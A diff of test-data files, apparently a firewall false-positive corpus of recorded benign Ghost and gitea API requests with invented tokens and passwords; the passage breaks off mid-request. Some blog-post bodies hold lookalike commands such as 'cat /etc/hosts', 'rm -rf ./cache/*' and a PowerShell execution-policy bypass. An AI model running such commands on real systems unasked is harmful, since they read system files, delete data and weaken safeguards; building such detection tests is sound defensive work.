{"method": "GET", "target": "/ghost/api/content/tags/slug/powershell/?key=c695aa1f5cdfa62f7b677c3c83&include=count.posts", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/content/tags/slug/linux-ls-la/?key=c695aa1f5cdfa62f7b677c3c83&include=count.posts", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/content/tags/?key=c695aa1f5cdfa62f7b677c3c83&filter=name%3a~%27python3%27&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/content/tags/?key=c695aa1f5cdfa62f7b677c3c83&filter=name%3a~%27.htaccess%27&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/content/tags/?key=c695aa1f5cdfa62f7b677c3c83&filter=name%3a~%27ls+-la%27&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/content/tags/?key=c695aa1f5cdfa62f7b677c3c83&filter=slug%3a%5bpython3%2cpowershell%5d&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/content/tags/?key=c695aa1f5cdfa62f7b677c3c83&filter=visibility%3apublic&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/content/pages/?key=c695aa1f5cdfa62f7b677c3c83&filter=title%3a~%27powershell%27", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/content/pages/slug/about-python3-powershell-htaccess/?key=c695aa1f5cdfa62f7b677c3c83", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/content/authors/slug/alice/?key=c695aa1f5cdfa62f7b677c3c83&include=count.posts", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/content/authors/?key=c695aa1f5cdfa62f7b677c3c83&filter=name%3a~%27Alice%27", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/content/settings/?key=c695aa1f5cdfa62f7b677c3c83", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/content/tiers/?key=c695aa1f5cdfa62f7b677c3c83&include=monthly_price%2cyearly_price", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3apowershell&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3apython3%2bstatus%3apublished&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=title%3a~%27ls+-la%27&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tags.name%3a~%27.htaccess%27&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/members/?search=python3&limit=15", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/members/?search=powershell&limit=15", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/members/?search=ls+-la&limit=15", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/members/?search=.htaccess&limit=15", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/members/?search=carol&limit=15", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/members/?filter=label%3apowershell-users&include=labels", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/tags/?filter=name%3a~%27ls+-la%27&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/posts/?source=html", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76", "Content-Type: application/json", "Content-Length: 1702"], "body": "{\"posts\": [{\"title\": \"Automating .htaccess checks with python3\", \"html\": \"<h2>Getting started</h2>\\n<p>Run <code>ls -la</code> in your web root, then open <a href=\\\"https://example.com/docs/htaccess\\\">the .htaccess guide</a>. On Windows, use <strong>powershell</strong> instead; it's the same idea.</p>\\n<h3>A small script</h3>\\n<pre><code class=\\\"language-python\\\">#!/usr/bin/env python3\\nimport os, subprocess\\nfor name in sorted(os.listdir(\\\".\\\")):\\n print(name)\\nsubprocess.run([\\\"ls\\\", \\\"-la\\\", \\\"/var/www/html\\\"], check=True)\\n</code></pre>\\n<pre><code class=\\\"language-bash\\\">cat /etc/hosts | grep example\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\nmysql -e \\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\"\\n</code></pre>\\n<pre><code class=\\\"language-javascript\\\">document.querySelectorAll('a').forEach((a) => console.log(a.href));\\nwindow.onload = () => alert('ready');\\n</code></pre>\\n<blockquote>\\\"Keep your .htaccess small,\\\" said one reader -- and python3 agrees.</blockquote>\\n<ul><li>python3 -m venv .venv && source .venv/bin/activate</li><li>powershell -ExecutionPolicy Bypass -File build.ps1</li><li>Edit /etc/nginx/sites-available/default, then reload</li></ul>\\n<ol><li>Back up wp-config.php and .env</li><li>Run <code>rm -rf ./cache/*</code></li></ol>\\n<p>Questions? Email <a href=\\\"mailto:help@example.com\\\">help@example.com</a> or see <a href=\\\"https://example.com/search?q=htaccess&lang=en\\\">the search page</a>.</p>\", \"status\": \"published\", \"tags\": [\"python3\", \"PowerShell\"], \"custom_excerpt\": \"Run ls -la from python3 or powershell.\", \"feature_image\": \"http://example.com/content/images/2026/11/photo.png\"}]}"}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/members/", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76", "Content-Type: application/json", "Content-Length: 175"], "body": "{\"members\": [{\"email\": \"erin.htaccess@example.com\", \"name\": \"Erin python3 Example\", \"note\": \"Imported from powershell export\", \"labels\": [\"powershell users\", \"ls -la fans\"]}]}"}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/images/upload/", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76", "Content-Length: 569", "Content-Type: multipart/form-data; boundary=------------------------gySlLRiEsdL70cXx8zmsOZ"], "body": "--------------------------gySlLRiEsdL70cXx8zmsOZ\r\nContent-Disposition: form-data; name=\"file\"; filename=\"photo.png\"\r\nContent-Type: image/png\r\n\r\niVBORw0KGgoAAAANSUhEUgAAAEAAAAAwCAIAAAAuKetIAAAAZElEQVR4nO3PUQkAIBTAwBfHiEY0liH8OITBAtxm7fN1wwUNaEEDWtCAFjSgBQ1oQQNa0IAWNKAFDWhBA1rQgBY0oAUNaEEDWtCAFjSgBQ1oQQNa0IAWNKAFDWhBA1rQgBY8dgGIweDx+vacjQAAAABJRU5ErkJggg==\r\n--------------------------gySlLRiEsdL70cXx8zmsOZ\r\nContent-Disposition: form-data; name=\"purpose\"\r\n\r\nimage\r\n--------------------------gySlLRiEsdL70cXx8zmsOZ\r\nContent-Disposition: form-data; name=\"ref\"\r\n\r\nphoto.png\r\n--------------------------gySlLRiEsdL70cXx8zmsOZ--\r\n"}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/stats/posts-member-counts/", "headers": ["Host: example.com", "Content-Length: 94", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"postIds\":[\"6af46132d281b00001a599c1\",\"6af458a5d281b00001a59969\",\"6af45710d281b00001a598a4\"]}"}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/oembed/?url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Daqz-KE-bpKQ&type=embed", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/oembed/?url=https%3A%2F%2Fexample.com%2Fdocs%2Fpython3%2Fls-la-and-htaccess%2F&type=bookmark", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/oembed/?url=https%3A%2F%2Fexample.com%2Fblog%2Fpowershell-tips%3Fref%3Dghost&type=mention", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/users/password/", "headers": ["Host: example.com", "Content-Length: 158", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"password\":[{\"user_id\":\"6af4570fd281b00001a59891\",\"oldPassword\":\"Hv4-mQz8-Lr2x-Tp9w\",\"newPassword\":\"Zt6-Hm3q-Bv9k-Jc4w\",\"ne2Password\":\"Zt6-Hm3q-Bv9k-Jc4w\"}]}"}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/posts/", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA2OTQsImV4cCI6MTc5NDQwMDk5NCwiYXVkIjoiL2FkbWluLyJ9.ayqaBc1Hg4fbMZj_XbvUGlhloCnW_D5KDMN8A6uM68M", "Accept-Version: v6.76", "Content-Type: application/json", "Content-Length: 465"], "body": "{\"posts\": [{\"title\": \"Older editor format: python3 notes\", \"mobiledoc\": \"{\\\"version\\\": \\\"0.3.1\\\", \\\"atoms\\\": [], \\\"markups\\\": [[\\\"code\\\"]], \\\"cards\\\": [[\\\"code\\\", {\\\"code\\\": \\\"ls -la /var/www\\\\npython3 tidy.py .htaccess\\\", \\\"language\\\": \\\"bash\\\"}]], \\\"sections\\\": [[1, \\\"h2\\\", [[0, [], 0, \\\"Mobiledoc post about powershell\\\"]]], [1, \\\"p\\\", [[0, [], 0, \\\"Run \\\"], [0, [0], 1, \\\"ls -la\\\"], [0, [], 0, \\\" and keep .htaccess tidy.\\\"]]], [10, 0]]}\", \"status\": \"draft\"}]}"}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/snippets/?formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "Content-Length: 519", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A8kdYjooVavGjq0rNroahDCvgTG3XukhZ.ioil5%2Fg42yqQcdl%2B%2FlhvXc4HoOV6hGDetkdr5aPXvuo"], "body": "{\"snippets\":[{\"name\":\"python3 & .htaccess tip\",\"mobiledoc\":\"{}\",\"lexical\": \"{\\\"root\\\": {\\\"children\\\": [{\\\"children\\\": [{\\\"detail\\\": 0, \\\"format\\\": 0, \\\"mode\\\": \\\"normal\\\", \\\"style\\\": \\\"\\\", \\\"text\\\": \\\"Run ls -la, then python3 tidy.py .htaccess; on Windows use powershell.\\\", \\\"type\\\": \\\"extended-text\\\", \\\"version\\\": 1}], \\\"direction\\\": \\\"ltr\\\", \\\"format\\\": \\\"\\\", \\\"indent\\\": 0, \\\"type\\\": \\\"paragraph\\\", \\\"version\\\": 1}], \\\"direction\\\": \\\"ltr\\\", \\\"format\\\": \\\"\\\", \\\"indent\\\": 0, \\\"type\\\": \\\"root\\\", \\\"version\\\": 1}}\"}]}"}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/themes/upload/", "headers": ["Host: example.com", "Content-Length: 2138", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhPTWHSPscackPlN", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A8kdYjooVavGjq0rNroahDCvgTG3XukhZ.ioil5%2Fg42yqQcdl%2B%2FlhvXc4HoOV6hGDetkdr5aPXvuo"], "body": "------WebKitFormBoundaryzhPTWHSPscackPlN\r\nContent-Disposition: form-data; name=\"file\"; filename=\"notes-theme.zip\"\r\nContent-Type: application/zip\r\n\r\n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\r\n------WebKitFormBoundaryzhPTWHSPscackPlN--\r\n"}
|
||||||
@@ -0,0 +1,41 @@
|
|||||||
|
# Ordinary gitea 1.27.3 requests that name a file or a branch in a body, which
|
||||||
|
# the Core Rule Set must let through while it reads bodies. They were recorded
|
||||||
|
# from a gitea driven by a headless Chrome, signed in, and by a script on the
|
||||||
|
# API. Each line is one request as JSON. Names, cookies and tokens are
|
||||||
|
# invented. The browser's User-Agent is an ordinary Chrome's.
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 62", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_branch_name\": \"main\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 103", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add Dockerfile\", \"head\": \"feat/docker-support\", \"base\": \"main\", \"body\": \"Builds the image.\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/scripts/powershell-build.ps1", "headers": ["Accept-Encoding: identity", "Content-Length: 105", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"V3JpdGUtSG9zdCAiYnVpbGQiCg==\", \"message\": \"Add a PowerShell build script\", \"branch\": \"main\"}"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 864", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryd2r1zGuX9U2OBld1", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocker-compose.yml\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nservices:\r\n web:\r\n image: nginx:1.27\r\n\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nPin nginx\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; 